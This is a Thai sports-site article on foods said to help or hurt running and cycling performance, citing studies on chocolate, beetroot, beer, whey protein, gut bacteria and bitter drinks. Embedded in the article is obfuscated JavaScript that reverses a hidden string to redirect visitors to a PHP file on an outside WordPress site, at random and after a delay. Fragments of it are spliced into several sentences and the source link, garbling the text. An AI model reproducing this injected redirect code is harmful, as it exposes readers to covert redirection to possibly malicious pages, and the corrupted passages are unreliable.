• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

อาหารอะไรบ้างที่มีผลต่อประสิทธิภาพการวิ่ง

Kanthad Yangsattha by Kanthad Yangsattha
25 May 2015
in Healthy Tips, Running Tips, Tips & Technics
0
อาหารอะไรบ้างที่มีผลต่อประสิทธิภาพการวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ช็อคโกแลต และ บีทรูท (GOOD!)

ผลการวิจัยของ London’s Kingston University พบว่าการาทานช็อคโกแลตจะช่วยเพิ่มประสิทธิภาพการออกกำลังกาย โดยได้จัดการทดลองให้นักปั่นกินช็อคโกแลตขนาด 2 ออนซ์ ทุกวันเป็นเวลา 2 สัปดาห์ ปรากฏว่านักปั่นสามารถปั่นได้ไกลมากขึ้น อึดทึกทนต่อการฝึกแบบ Intense exercise ได้ดีขึ้น ที่ทีมวิจัยคาดว่าสาร epicatechins ที่อยู่ในช็อคโกแลตอาจจะไปช่วยกระตุ้นให้สร้างสาร nitric oxide ที่ช่วยให้เลิอดไหลเวียนได้คล่องตัวหรือ bloodflow ดีขึ้นส่งผลให้ลำเลียงออกซิเจนไปเลี้ยงกล้ามเนื้อมากขึ้น ทั้งนี้การรับประทานเจ้าบีทรูทก็ให้ผลในทำน่องเดียวกันด้วย

เราจะเพิ่มช็อคโกแลต (แนะนำ Dark chocolate) ในเมนูประจำวันเราได้แต่ระวังหน่อยนะครับ เพราะแค่ 2 ออนซ์ก็ 300 กิโลแคลลอรี่แล้ว

$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc-400×152.jpg” alt=”bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andc” width=”565″ height=”215″ /> บีทรูทและช็อคโกแลตมีสารอาหารที่ช่วยให้กล้ามเนื้อทำงานได้ดีขึ้นในช่วงออกกำลังกาย (intense exercise)

เบียร์ เบียร์และเบียร์ (BAD!)

ผลการศึกษาของ University of Costa Rica เมื่อให้นักกีฬาดื่มเบียร์ขนาด 3 ไพนต์ (1.419 ลิตร) ภายใน 1 ชั่วโมงหลังออกกกำลังกายพบว่าคนดื่มเบียร์จะมีปฏิกิริยาตอบสนองจะช้าลง และมีการสะสม ยูรีน (Urine) มากขึ้น แถมยังก่อให้เกิดอาการที่เรียกว่า subpar fluid balance หรือความไม่สมดุลของของเหลวในร่างกาย

โปรตีนมั้ยครับ?(GOOD!)

ผลการศึกษาจาก American College of Sports Medicine เมื่อให้นักปั่นที่จบคอร์ส 100 นาที และให้ดื่มเวย์โปรตีนขนาด 85 หรือ 28 กรัม พบว่าจะช่วยให้กระตุ้นการสร้างกล้ามเนื้อ เพราะตัวเวย์โปรตีนจะมีสาร Leucine ที่เป็นกรดอะมิโนที่ช่วยกระตุ้นให้สร้างกล้ามเนื้อและขนาดของโดสมากหรือน้อยมีผลเท่ากัน

แนนำว่ารับประทานอาหารมื้อหลังออกกำลังที่มีโปรตีน (เนื้อ นม ไข่ ปลา) ปริมาณ 25-30 กรัมก็ได้นะ

ยาคูลย์มั้ยค่ะ(GOOD!)

จุลลินทรีย์ในลำไส้มีผลต่อสุขภาพโดยรวม ยิ่งมากยิ่งดี มีงานวิจัยจากประเทศ Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ที่มีการเปรียบเทียบหนุ่มอ้วนแต่สุขภาพดีกับนักรักบี้สุดฟิต พบว่า นักรักบี้จะมีจุนลินทรีย์ที่หลากหลายในลำไส้มากกว่าคนอ้วน แถมยังมีสารพันธุ์ akkermansiaceae เยอะกว่าด้วย ซึ่งเจ้าตัวนี้มีผลต่อการลดความเสี่ยงการเป็นโรคเบาหวานและการอักเสบ

อย่างไรก็ตามการศึกษาเรื่องนี้ยังไม่สามารถฟันธงได้ 100% ยังคงต้องมีการศึกษาเพิ่มเติม

หวานเป็นลมขมเป็นยา(GOOD!)

ขนมของหวานหรือเครื่องดื่มรสหวานมีผลต่อการกระตุ้นสมองให้เราวิ่งได้มากขึ้น เร็วขึ้น แต่ถ้าลองอาหารรสชาติอื่นอย่างรสขมล่ะ มีงานทดลอง ณ ประเทศออสเตรเลีย ได้ให้นักปั่นกินอาหารรสขม (Quinine drink) แบบ calories-free พบว่าสามารถเพิ่มประสิทธิภาพได้ถึง 3% เชียวนะ

ที่มา andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-drinks-that-help-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-hurt-your-running”>Runnersworld

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.